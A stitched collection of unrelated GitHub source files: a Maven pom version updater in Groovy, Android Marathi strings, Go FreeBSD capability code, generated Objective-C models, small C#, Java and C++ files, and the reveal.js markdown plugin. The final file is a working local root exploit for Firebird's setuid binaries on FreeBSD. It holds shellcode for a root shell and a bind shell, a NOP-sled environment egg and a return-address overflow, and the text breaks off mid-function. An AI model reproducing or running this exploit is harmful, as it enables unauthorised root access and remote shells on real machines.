def root = new File('.')
def parentPom = new XmlSlurper().parse(new File(root,'pom.xml'))
// parent properties parsing
def replacements = parser.findReplacements(parentPom)
replacements << commandLine.getVersionProperties()
println replacements
// updates
parser.updateProjects(root, replacements)
commandLine.getVersionProperties()
class CommandLineUtils {
static Map getVersionProperties () {
def properties = [:]
if (System.getProperty("versions")) {
System.getProperty("versions").split(",").each { p ->
def (k, v) = p.split("=")
properties["${k}>"] = v
}
}
properties
}
}
// Create class to avoid naming problems with the hyphen in the script name
class ParsingUtils {
/**
* Returns a map with the different candidates (properties with values) to update
*/
static Map findReplacements(def pom) {
def replacements = [:]
pom.properties.children().each {
if (it.name().endsWith('version')) {
replacements["${it.name()}>"] = it.text()
}
}
if (replacements.size() > 0) {
println "[INFO] Found ${replacements.size()} candidate properties to update:"
replacements.each { k, v ->
println "[INFO]\t\t${k[0..-2]} = $v"
}
}
replacements
}
/**
* Child pom's update
*/
static void updateProjects(File rootFolder, def properties) {
rootFolder.eachDirRecurse { folder ->
folder.listFiles({ it.name == 'pom.xml' } as FileFilter).each {
updatePom(it, properties)
}
}
}
static void updatePom(File pom, def properties) {
// println "[INFO] Parsing ${pom.absolutePath}"
File copy = new File(pom.absolutePath + '-TEMP')
copy.withWriter('UTF-8') { writer ->
pom.eachLine('UTF-8') { line ->
properties.each { k, v ->
if (line.contains(k)) {
// println "[INFO] Updating property ${k[0..-2]}"
line = "${line.split(k)[0]}$k$v</$k"
}
}
/* manually concatenate line break to avoid windows evil bytes */
writer.write("$line\n")
}
}
pom.delete()
copy.renameTo(pom)
}
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- From: file:/C:/Users/Fran/Android%20workspace/retro-dagger/app/build/intermediates/exploded-aar/com.android.support/appcompat-v7/21.0.3/res/values-mr-rIN/values.xml -->
<eat-comment/>
<string msgid="4600421777120114993" name="abc_action_bar_home_description">"मुख्यपृष्ठ नेव्हिगेट करा"</string>
<string msgid="1397052879051804371" name="abc_action_bar_home_description_format">"%1$s, %2$s"</string>
<string msgid="6623331958280229229" name="abc_action_bar_home_subtitle_description_format">"%1$s, %2$s, %3$s"</string>
<string msgid="1594238315039666878" name="abc_action_bar_up_description">"वर नेव्हिगेट करा"</string>
<string msgid="3588849162933574182" name="abc_action_menu_overflow_description">"अधिक पर्याय"</string>
<string msgid="4076576682505996667" name="abc_action_mode_done">"पूर्ण झाले"</string>
<string msgid="7468859129482906941" name="abc_activity_chooser_view_see_all">"सर्व पहा"</string>
<string msgid="2031811694353399454" name="abc_activitychooserview_choose_application">"एक अॅप निवडा"</string>
<string msgid="3691816814315814921" name="abc_searchview_description_clear">"क्वेरी स्पष्ट करा"</string>
<string msgid="2550479030709304392" name="abc_searchview_description_query">"शोध क्वेरी"</string>
<string msgid="8264924765203268293" name="abc_searchview_description_search">"शोध"</string>
<string msgid="8928215447528550784" name="abc_searchview_description_submit">"क्वेरी सबमिट करा"</string>
<string msgid="893419373245838918" name="abc_searchview_description_voice">"व्हॉइस शोध"</string>
<string msgid="3421042268587513524" name="abc_shareactionprovider_share_with">"यांच्यासह सामायिक करा"</string>
<string msgid="7165123711973476752" name="abc_shareactionprovider_share_with_application">"%s सह सामायिक करा"</string>
</resources>
|
{
"pile_set_name": "Github"
}
|
/* Copyright (C) 2013 CompleteDB LLC.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with PubSubSQL. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef PUBSUBSQLSVC_PROCESS_H
#define PUBSUBSQLSVC_PROCESS_H
#include <memory>
#include <thread>
#include "pipe.h"
class process {
public:
process();
~process();
bool start(char* commandLine, const char* eventSource);
void stop();
void wait(unsigned milliseconds);
HANDLE handle();
private:
PROCESS_INFORMATION processInfo;
pipe stderrPipe;
pipe stdinPipe;
std::thread logThread;
};
#endif //PUBSUBSQLSVC_PROCESS_H
|
{
"pile_set_name": "Github"
}
|
// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build freebsd
package unix
import (
"errors"
"fmt"
)
// Go implementation of C mostly found in /usr/src/sys/kern/subr_capability.c
const (
// This is the version of CapRights this package understands. See C implementation for parallels.
capRightsGoVersion = CAP_RIGHTS_VERSION_00
capArSizeMin = CAP_RIGHTS_VERSION_00 + 2
capArSizeMax = capRightsGoVersion + 2
)
var (
bit2idx = []int{
-1, 0, 1, -1, 2, -1, -1, -1, 3, -1, -1, -1, -1, -1, -1, -1,
4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
}
)
func capidxbit(right uint64) int {
return int((right >> 57) & 0x1f)
}
func rightToIndex(right uint64) (int, error) {
idx := capidxbit(right)
if idx < 0 || idx >= len(bit2idx) {
return -2, fmt.Errorf("index for right 0x%x out of range", right)
}
return bit2idx[idx], nil
}
func caprver(right uint64) int {
return int(right >> 62)
}
func capver(rights *CapRights) int {
return caprver(rights.Rights[0])
}
func caparsize(rights *CapRights) int {
return capver(rights) + 2
}
// CapRightsSet sets the permissions in setrights in rights.
func CapRightsSet(rights *CapRights, setrights []uint64) error {
// This is essentially a copy of cap_rights_vset()
if capver(rights) != CAP_RIGHTS_VERSION_00 {
return fmt.Errorf("bad rights version %d", capver(rights))
}
n := caparsize(rights)
if n < capArSizeMin || n > capArSizeMax {
return errors.New("bad rights size")
}
for _, right := range setrights {
if caprver(right) != CAP_RIGHTS_VERSION_00 {
return errors.New("bad right version")
}
i, err := rightToIndex(right)
if err != nil {
return err
}
if i >= n {
return errors.New("index overflow")
}
if capidxbit(rights.Rights[i]) != capidxbit(right) {
return errors.New("index mismatch")
}
rights.Rights[i] |= right
if capidxbit(rights.Rights[i]) != capidxbit(right) {
return errors.New("index mismatch (after assign)")
}
}
return nil
}
// CapRightsClear clears the permissions in clearrights from rights.
func CapRightsClear(rights *CapRights, clearrights []uint64) error {
// This is essentially a copy of cap_rights_vclear()
if capver(rights) != CAP_RIGHTS_VERSION_00 {
return fmt.Errorf("bad rights version %d", capver(rights))
}
n := caparsize(rights)
if n < capArSizeMin || n > capArSizeMax {
return errors.New("bad rights size")
}
for _, right := range clearrights {
if caprver(right) != CAP_RIGHTS_VERSION_00 {
return errors.New("bad right version")
}
i, err := rightToIndex(right)
if err != nil {
return err
}
if i >= n {
return errors.New("index overflow")
}
if capidxbit(rights.Rights[i]) != capidxbit(right) {
return errors.New("index mismatch")
}
rights.Rights[i] &= ^(right & 0x01FFFFFFFFFFFFFF)
if capidxbit(rights.Rights[i]) != capidxbit(right) {
return errors.New("index mismatch (after assign)")
}
}
return nil
}
// CapRightsIsSet checks whether all the permissions in setrights are present in rights.
func CapRightsIsSet(rights *CapRights, setrights []uint64) (bool, error) {
// This is essentially a copy of cap_rights_is_vset()
if capver(rights) != CAP_RIGHTS_VERSION_00 {
return false, fmt.Errorf("bad rights version %d", capver(rights))
}
n := caparsize(rights)
if n < capArSizeMin || n > capArSizeMax {
return false, errors.New("bad rights size")
}
for _, right := range setrights {
if caprver(right) != CAP_RIGHTS_VERSION_00 {
return false, errors.New("bad right version")
}
i, err := rightToIndex(right)
if err != nil {
return false, err
}
if i >= n {
return false, errors.New("index overflow")
}
if capidxbit(rights.Rights[i]) != capidxbit(right) {
return false, errors.New("index mismatch")
}
if (rights.Rights[i] & right) != right {
return false, nil
}
}
return true, nil
}
func capright(idx uint64, bit uint64) uint64 {
return ((1 << (57 + idx)) | bit)
}
// CapRightsInit returns a pointer to an initialised CapRights structure filled with rights.
// See man cap_rights_init(3) and rights(4).
func CapRightsInit(rights []uint64) (*CapRights, error) {
var r CapRights
r.Rights[0] = (capRightsGoVersion << 62) | capright(0, 0)
r.Rights[1] = capright(1, 0)
err := CapRightsSet(&r, rights)
if err != nil {
return nil, err
}
return &r, nil
}
// CapRightsLimit reduces the operations permitted on fd to at most those contained in rights.
// The capability rights on fd can never be increased by CapRightsLimit.
// See man cap_rights_limit(2) and rights(4).
func CapRightsLimit(fd uintptr, rights *CapRights) error {
return capRightsLimit(int(fd), rights)
}
// CapRightsGet returns a CapRights structure containing the operations permitted on fd.
// See man cap_rights_get(3) and rights(4).
func CapRightsGet(fd uintptr) (*CapRights, error) {
r, err := CapRightsInit(nil)
if err != nil {
return nil, err
}
err = capRightsGet(capRightsGoVersion, int(fd), r)
if err != nil {
return nil, err
}
return r, nil
}
|
{
"pile_set_name": "Github"
}
|
/*******************************************************************************
**NOTE** This code was generated by a tool and will occasionally be
overwritten. We welcome comments and issues regarding this code; they will be
addressed in the generation tool. If you wish to submit pull requests, please
do so for the templates in that tool.
This code was generated by Vipr (https://github.com/microsoft/vipr) using
the T4TemplateWriter (https://github.com/msopentech/vipr-t4templatewriter).
Copyright (c) Microsoft Corporation. All Rights Reserved.
Licensed under the Apache License 2.0; see LICENSE in the source repository
root for authoritative license information.
******************************************************************************/
#import "MSGraphServiceModels.h"
#import "core/MSOrcObjectizer.h"
/** Implementation for MSGraphServiceServicePlanInfo
*
*/
@implementation MSGraphServiceServicePlanInfo
@synthesize odataType = _odataType;
+ (NSDictionary *) $$$_$$$propertiesNamesMappings
{
static NSDictionary *_$$$_$$$propertiesNamesMappings=nil;
if(_$$$_$$$propertiesNamesMappings==nil) {
_$$$_$$$propertiesNamesMappings=[[NSDictionary alloc] initWithObjectsAndKeys: @"servicePlanId", @"servicePlanId", @"servicePlanName", @"servicePlanName", @"provisioningStatus", @"provisioningStatus", @"appliesTo", @"appliesTo", nil];
}
return _$$$_$$$propertiesNamesMappings;
}
- (instancetype)init {
if (self = [super init]) {
_odataType = @"#microsoft.graph.servicePlanInfo";
}
return self;
}
- (instancetype) initWithDictionary: (NSDictionary *) dic {
if((self = [self init])) {
if(dic!=nil) {
_servicePlanId = (![dic objectForKey: @"servicePlanId"] || [ [dic objectForKey: @"servicePlanId"] isKindOfClass:[NSNull class]] )?_servicePlanId:[[dic objectForKey: @"servicePlanId"] copy];
_servicePlanName = (![dic objectForKey: @"servicePlanName"] || [ [dic objectForKey: @"servicePlanName"] isKindOfClass:[NSNull class]] )?_servicePlanName:[[dic objectForKey: @"servicePlanName"] copy];
_provisioningStatus = (![dic objectForKey: @"provisioningStatus"] || [ [dic objectForKey: @"provisioningStatus"] isKindOfClass:[NSNull class]] )?_provisioningStatus:[[dic objectForKey: @"provisioningStatus"] copy];
_appliesTo = (![dic objectForKey: @"appliesTo"] || [ [dic objectForKey: @"appliesTo"] isKindOfClass:[NSNull class]] )?_appliesTo:[[dic objectForKey: @"appliesTo"] copy];
}
[self.updatedValues removeAllObjects];
}
return self;
}
- (NSDictionary *) toDictionary {
NSMutableDictionary *dic=[[NSMutableDictionary alloc] init];
{id curVal = [self.servicePlanId copy];if (curVal!=nil) [dic setValue: curVal forKey: @"servicePlanId"];}
{id curVal = [self.servicePlanName copy];if (curVal!=nil) [dic setValue: curVal forKey: @"servicePlanName"];}
{id curVal = [self.provisioningStatus copy];if (curVal!=nil) [dic setValue: curVal forKey: @"provisioningStatus"];}
{id curVal = [self.appliesTo copy];if (curVal!=nil) [dic setValue: curVal forKey: @"appliesTo"];}
[dic setValue: @"#microsoft.graph.servicePlanInfo" forKey: @"@odata.type"];
return dic;
}
- (NSDictionary *) toUpdatedValuesDictionary {
NSMutableDictionary *dic=[[NSMutableDictionary alloc] init];
{id curVal = self.servicePlanId;
if([self.updatedValues containsObject:@"servicePlanId"])
{
[dic setValue: curVal==nil?[NSNull null]:[curVal copy] forKey: @"servicePlanId"];
}
}
{id curVal = self.servicePlanName;
if([self.updatedValues containsObject:@"servicePlanName"])
{
[dic setValue: curVal==nil?[NSNull null]:[curVal copy] forKey: @"servicePlanName"];
}
}
{id curVal = self.provisioningStatus;
if([self.updatedValues containsObject:@"provisioningStatus"])
{
[dic setValue: curVal==nil?[NSNull null]:[curVal copy] forKey: @"provisioningStatus"];
}
}
{id curVal = self.appliesTo;
if([self.updatedValues containsObject:@"appliesTo"])
{
[dic setValue: curVal==nil?[NSNull null]:[curVal copy] forKey: @"appliesTo"];
}
}
return dic;
}
/** Setter implementation for property servicePlanId
*
*/
- (void) setServicePlanId: (NSString *) value {
_servicePlanId = value;
[self valueChangedFor:@"servicePlanId"];
}
/** Setter implementation for property servicePlanName
*
*/
- (void) setServicePlanName: (NSString *) value {
_servicePlanName = value;
[self valueChangedFor:@"servicePlanName"];
}
/** Setter implementation for property provisioningStatus
*
*/
- (void) setProvisioningStatus: (NSString *) value {
_provisioningStatus = value;
[self valueChangedFor:@"provisioningStatus"];
}
/** Setter implementation for property appliesTo
*
*/
- (void) setAppliesTo: (NSString *) value {
_appliesTo = value;
[self valueChangedFor:@"appliesTo"];
}
@end
|
{
"pile_set_name": "Github"
}
|
using System.ComponentModel;
using System.Runtime.CompilerServices;
namespace TODOFileHandlingSample.Mvvm
{
public abstract class BindableBase : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
public void RaisePropertyChanged([CallerMemberName]string propertyName = null)
{
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
}
public void Set<T>(ref T storage, T value, [CallerMemberName()]string propertyName = null)
{
if (!object.Equals(storage, value))
{
storage = value;
this.RaisePropertyChanged(propertyName);
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
/**
* this file will be loaded before server started
* you can register middleware
* https://thinkjs.org/doc/middleware.html
*/
/**
*
* think.middleware('xxx', http => {
*
* })
*
*/
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2010-2020 Contributors to the openHAB project
*
* See the NOTICE file(s) distributed with this work for additional
* information.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0
*
* SPDX-License-Identifier: EPL-2.0
*/
package org.openhab.binding.enocean.internal.eep.Base;
import org.openhab.binding.enocean.internal.config.EnOceanChannelTeachInConfig;
import org.openhab.binding.enocean.internal.eep.EEP;
import org.openhab.binding.enocean.internal.eep.EEPType;
import org.openhab.binding.enocean.internal.messages.ERP1Message;
import org.openhab.core.config.core.Configuration;
import org.openhab.core.util.HexUtils;
/**
*
* @author Daniel Weber - Initial contribution
*/
public abstract class _4BSMessage extends EEP {
protected boolean supportsTeachInVariation3 = false;
public boolean isTeachInVariation3Supported() {
return supportsTeachInVariation3;
}
public _4BSMessage(ERP1Message packet) {
super(packet);
}
public _4BSMessage() {
super();
}
public static final byte TeachInBit = 0x08;
public static final byte LRN_Type_Mask = (byte) 0x80;
public byte getDB_0() {
return bytes[3];
}
public int getDB_0Value() {
return (getDB_0() & 0xFF);
}
public byte getDB_1() {
return bytes[2];
}
public int getDB_1Value() {
return (getDB_1() & 0xFF);
}
public byte getDB_2() {
return bytes[1];
}
public int getDB_2Value() {
return (getDB_2() & 0xFF);
}
public byte getDB_3() {
return bytes[0];
}
public int getDB_3Value() {
return (getDB_3() & 0xFF);
}
@Override
protected void teachInQueryImpl(Configuration config) {
if (config == null) {
return;
}
EnOceanChannelTeachInConfig c = config.as(EnOceanChannelTeachInConfig.class);
if (c.teachInMSG == null || c.teachInMSG.isEmpty()) {
EEPType type = getEEPType();
byte db3 = (byte) ((getEEPType().getFunc() << 2) | ((type.getType()) >>> 5));
byte db2 = (byte) ((type.getType() << 3) & 0xff);
byte db1 = 0;
try {
int manufId = (Integer.parseInt(c.manufacturerId, 16) & 0x7ff); // => 11 bit
db2 += (manufId >>> 8);
db1 += (manufId & 0xff);
} catch (Exception e) {
}
setData(db3, db2, db1, LRN_Type_Mask);
} else {
try {
byte[] msg = HexUtils.hexToBytes(c.teachInMSG);
setData(msg);
} catch (Exception e) {
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
/**
* The reveal.js markdown plugin. Handles parsing of
* markdown inside of presentations as well as loading
* of external markdown documents.
*/
(function( root, factory ) {
if( typeof exports === 'object' ) {
module.exports = factory( require( './marked' ) );
}
else {
// Browser globals (root is window)
root.RevealMarkdown = factory( root.marked );
root.RevealMarkdown.initialize();
}
}( this, function( marked ) {
if( typeof marked === 'undefined' ) {
throw 'The reveal.js Markdown plugin requires marked to be loaded';
}
if( typeof hljs !== 'undefined' ) {
marked.setOptions({
highlight: function( lang, code ) {
return hljs.highlightAuto( lang, code ).value;
}
});
}
var DEFAULT_SLIDE_SEPARATOR = '^\r?\n---\r?\n$',
DEFAULT_NOTES_SEPARATOR = 'note:',
DEFAULT_ELEMENT_ATTRIBUTES_SEPARATOR = '\\\.element\\\s*?(.+?)$',
DEFAULT_SLIDE_ATTRIBUTES_SEPARATOR = '\\\.slide:\\\s*?(\\\S.+?)$';
/**
* Retrieves the markdown contents of a slide section
* element. Normalizes leading tabs/whitespace.
*/
function getMarkdownFromSlide( section ) {
var template = section.querySelector( 'script' );
// strip leading whitespace so it isn't evaluated as code
var text = ( template || section ).textContent;
var leadingWs = text.match( /^\n?(\s*)/ )[1].length,
leadingTabs = text.match( /^\n?(\t*)/ )[1].length;
if( leadingTabs > 0 ) {
text = text.replace( new RegExp('\\n?\\t{' + leadingTabs + '}','g'), '\n' );
}
else if( leadingWs > 1 ) {
text = text.replace( new RegExp('\\n? {' + leadingWs + '}', 'g'), '\n' );
}
return text;
}
/**
* Given a markdown slide section element, this will
* return all arguments that aren't related to markdown
* parsing. Used to forward any other user-defined arguments
* to the output markdown slide.
*/
function getForwardedAttributes( section ) {
var attributes = section.attributes;
var result = [];
for( var i = 0, len = attributes.length; i < len; i++ ) {
var name = attributes[i].name,
value = attributes[i].value;
// disregard attributes that are used for markdown loading/parsing
if( /data\-(markdown|separator|vertical|notes)/gi.test( name ) ) continue;
if( value ) {
result.push( name + '="' + value + '"' );
}
else {
result.push( name );
}
}
return result.join( ' ' );
}
/**
* Inspects the given options and fills out default
* values for what's not defined.
*/
function getSlidifyOptions( options ) {
options = options || {};
options.separator = options.separator || DEFAULT_SLIDE_SEPARATOR;
options.notesSeparator = options.notesSeparator || DEFAULT_NOTES_SEPARATOR;
options.attributes = options.attributes || '';
return options;
}
/**
* Helper function for constructing a markdown slide.
*/
function createMarkdownSlide( content, options ) {
options = getSlidifyOptions( options );
var notesMatch = content.split( new RegExp( options.notesSeparator, 'mgi' ) );
if( notesMatch.length === 2 ) {
content = notesMatch[0] + '<aside class="notes" data-markdown>' + notesMatch[1].trim() + '</aside>';
}
return '<script type="text/template">' + content + '</script>';
}
/**
* Parses a data string into multiple slides based
* on the passed in separator arguments.
*/
function slidify( markdown, options ) {
options = getSlidifyOptions( options );
var separatorRegex = new RegExp( options.separator + ( options.verticalSeparator ? '|' + options.verticalSeparator : '' ), 'mg' ),
horizontalSeparatorRegex = new RegExp( options.separator );
var matches,
lastIndex = 0,
isHorizontal,
wasHorizontal = true,
content,
sectionStack = [];
// iterate until all blocks between separators are stacked up
while( matches = separatorRegex.exec( markdown ) ) {
notes = null;
// determine direction (horizontal by default)
isHorizontal = horizontalSeparatorRegex.test( matches[0] );
if( !isHorizontal && wasHorizontal ) {
// create vertical stack
sectionStack.push( [] );
}
// pluck slide content from markdown input
content = markdown.substring( lastIndex, matches.index );
if( isHorizontal && wasHorizontal ) {
// add to horizontal stack
sectionStack.push( content );
}
else {
// add to vertical stack
sectionStack[sectionStack.length-1].push( content );
}
lastIndex = separatorRegex.lastIndex;
wasHorizontal = isHorizontal;
}
// add the remaining slide
( wasHorizontal ? sectionStack : sectionStack[sectionStack.length-1] ).push( markdown.substring( lastIndex ) );
var markdownSections = '';
// flatten the hierarchical stack, and insert <section data-markdown> tags
for( var i = 0, len = sectionStack.length; i < len; i++ ) {
// vertical
if( sectionStack[i] instanceof Array ) {
markdownSections += '<section '+ options.attributes +'>';
sectionStack[i].forEach( function( child ) {
markdownSections += '<section data-markdown>' + createMarkdownSlide( child, options ) + '</section>';
} );
markdownSections += '</section>';
}
else {
markdownSections += '<section '+ options.attributes +' data-markdown>' + createMarkdownSlide( sectionStack[i], options ) + '</section>';
}
}
return markdownSections;
}
/**
* Parses any current data-markdown slides, splits
* multi-slide markdown into separate sections and
* handles loading of external markdown.
*/
function processSlides() {
var sections = document.querySelectorAll( '[data-markdown]'),
section;
for( var i = 0, len = sections.length; i < len; i++ ) {
section = sections[i];
if( section.getAttribute( 'data-markdown' ).length ) {
var xhr = new XMLHttpRequest(),
url = section.getAttribute( 'data-markdown' );
datacharset = section.getAttribute( 'data-charset' );
// see https://developer.mozilla.org/en-US/docs/Web/API/element.getAttribute#Notes
if( datacharset != null && datacharset != '' ) {
xhr.overrideMimeType( 'text/html; charset=' + datacharset );
}
xhr.onreadystatechange = function() {
if( xhr.readyState === 4 ) {
// file protocol yields status code 0 (useful for local debug, mobile applications etc.)
if ( ( xhr.status >= 200 && xhr.status < 300 ) || xhr.status === 0 ) {
section.outerHTML = slidify( xhr.responseText, {
separator: section.getAttribute( 'data-separator' ),
verticalSeparator: section.getAttribute( 'data-separator-vertical' ),
notesSeparator: section.getAttribute( 'data-separator-notes' ),
attributes: getForwardedAttributes( section )
});
}
else {
section.outerHTML = '<section data-state="alert">' +
'ERROR: The attempt to fetch ' + url + ' failed with HTTP status ' + xhr.status + '.' +
'Check your browser\'s JavaScript console for more details.' +
'<p>Remember that you need to serve the presentation HTML from a HTTP server.</p>' +
'</section>';
}
}
};
xhr.open( 'GET', url, false );
try {
xhr.send();
}
catch ( e ) {
alert( 'Failed to get the Markdown file ' + url + '. Make sure that the presentation and the file are served by a HTTP server and the file can be found there. ' + e );
}
}
else if( section.getAttribute( 'data-separator' ) || section.getAttribute( 'data-separator-vertical' ) || section.getAttribute( 'data-separator-notes' ) ) {
section.outerHTML = slidify( getMarkdownFromSlide( section ), {
separator: section.getAttribute( 'data-separator' ),
verticalSeparator: section.getAttribute( 'data-separator-vertical' ),
notesSeparator: section.getAttribute( 'data-separator-notes' ),
attributes: getForwardedAttributes( section )
});
}
else {
section.innerHTML = createMarkdownSlide( getMarkdownFromSlide( section ) );
}
}
}
/**
* Check if a node value has the attributes pattern.
* If yes, extract it and add that value as one or several attributes
* the the terget element.
*
* You need Cache Killer on Chrome to see the effect on any FOM transformation
* directly on refresh (F5)
* http://stackoverflow.com/questions/5690269/disabling-chrome-cache-for-website-development/7000899#answer-11786277
*/
function addAttributeInElement( node, elementTarget, separator ) {
var mardownClassesInElementsRegex = new RegExp( separator, 'mg' );
var mardownClassRegex = new RegExp( "([^\"= ]+?)=\"([^\"=]+?)\"", 'mg' );
var nodeValue = node.nodeValue;
if( matches = mardownClassesInElementsRegex.exec( nodeValue ) ) {
var classes = matches[1];
nodeValue = nodeValue.substring( 0, matches.index ) + nodeValue.substring( mardownClassesInElementsRegex.lastIndex );
node.nodeValue = nodeValue;
while( matchesClass = mardownClassRegex.exec( classes ) ) {
elementTarget.setAttribute( matchesClass[1], matchesClass[2] );
}
return true;
}
return false;
}
/**
* Add attributes to the parent element of a text node,
* or the element of an attribute node.
*/
function addAttributes( section, element, previousElement, separatorElementAttributes, separatorSectionAttributes ) {
if ( element != null && element.childNodes != undefined && element.childNodes.length > 0 ) {
previousParentElement = element;
for( var i = 0; i < element.childNodes.length; i++ ) {
childElement = element.childNodes[i];
if ( i > 0 ) {
j = i - 1;
while ( j >= 0 ) {
aPreviousChildElement = element.childNodes[j];
if ( typeof aPreviousChildElement.setAttribute == 'function' && aPreviousChildElement.tagName != "BR" ) {
previousParentElement = aPreviousChildElement;
break;
}
j = j - 1;
}
}
parentSection = section;
if( childElement.nodeName == "section" ) {
parentSection = childElement ;
previousParentElement = childElement ;
}
if ( typeof childElement.setAttribute == 'function' || childElement.nodeType == Node.COMMENT_NODE ) {
addAttributes( parentSection, childElement, previousParentElement, separatorElementAttributes, separatorSectionAttributes );
}
}
}
if ( element.nodeType == Node.COMMENT_NODE ) {
if ( addAttributeInElement( element, previousElement, separatorElementAttributes ) == false ) {
addAttributeInElement( element, section, separatorSectionAttributes );
}
}
}
/**
* Converts any current data-markdown slides in the
* DOM to HTML.
*/
function convertSlides() {
var sections = document.querySelectorAll( '[data-markdown]');
for( var i = 0, len = sections.length; i < len; i++ ) {
var section = sections[i];
// Only parse the same slide once
if( !section.getAttribute( 'data-markdown-parsed' ) ) {
section.setAttribute( 'data-markdown-parsed', true )
var notes = section.querySelector( 'aside.notes' );
var markdown = getMarkdownFromSlide( section );
section.innerHTML = marked( markdown );
addAttributes( section, section, null, section.getAttribute( 'data-element-attributes' ) ||
section.parentNode.getAttribute( 'data-element-attributes' ) ||
DEFAULT_ELEMENT_ATTRIBUTES_SEPARATOR,
section.getAttribute( 'data-attributes' ) ||
section.parentNode.getAttribute( 'data-attributes' ) ||
DEFAULT_SLIDE_ATTRIBUTES_SEPARATOR);
// If there were notes, we need to re-add them after
// having overwritten the section's HTML
if( notes ) {
section.appendChild( notes );
}
}
}
}
// API
return {
initialize: function() {
processSlides();
convertSlides();
},
// TODO: Do these belong in the API?
processSlides: processSlides,
convertSlides: convertSlides,
slidify: slidify
};
}));
|
{
"pile_set_name": "Github"
}
|
// source: https://www.securityfocus.com/bid/7546/info
Interbase is a database distributed and maintained by Borland. It is available for Unix and Linux operating systems. As Firebird is based on Borland/Inprise Interbase source code, it is very likely that Interbase is prone to this issue also.
A buffer overflow has been discovered in the setuid root program gds_inet_server, packaged with Firebird. This problem could allow a local user to execute the program with strings of arbitrary length. By using a custom crafted string, the attacker could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code as root.
/* DSR-olbird.c by [email protected]
-------------------------------
Same exploit as DSR-firebird.c apart from this version
exploits Firebird 1.0.0 which is shipped with freebsd.
[diif] ret addr && LEN [/diif]
[email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP "/usr/local/firebird/bin/gds_drop"
#define INET "/usr/local/firebird/bin/gds_inet_server"
#define LEN 1032
char dropcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
char inetcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
char lockcode[]=
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by bob
"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
"\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"
"\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50"
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0"
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";
char *decide(char *string)
{
if(!(strcmp(string, "1")))
return((char *)&inetcode);
if(!(strcmp(string, "2")))
return((char *)&lockcode);
if(!(strcmp(string, "3")))
return((char *)&dropcode);
exit(0);
}
int main(int argc, char **argv)
{
unsigned long ret = 0xbfbff75d;
char *selectcode;
char buffer[LEN];
char egg[1024];
char *ptr;
int i=0;
if(argc < 2)
{
printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n");
printf("( ( by - [email protected] ) )\n");
printf("----------------------------------------------------\n\n");
printf("Usage: %s <target#> \n", argv[0]);
printf("Targets:\n");
printf("1. [0xbfbff75c] - gds_inet_server\n");
printf("2. [0xbfbff75d] - gds_lock_mgr\n");
printf("3. [0xbfbff75e] - gds_drop\n");
printf("\nwww.dtors.net\n");
exit(0);
}
selectcode = (char *)decide(argv[1]);
memset(buffer, 0x41, sizeof(buffer));
ptr = egg;
for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];
egg[1024 - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(&buffer[1028],(char *)&ret,4);
buffer[1032] = 0;
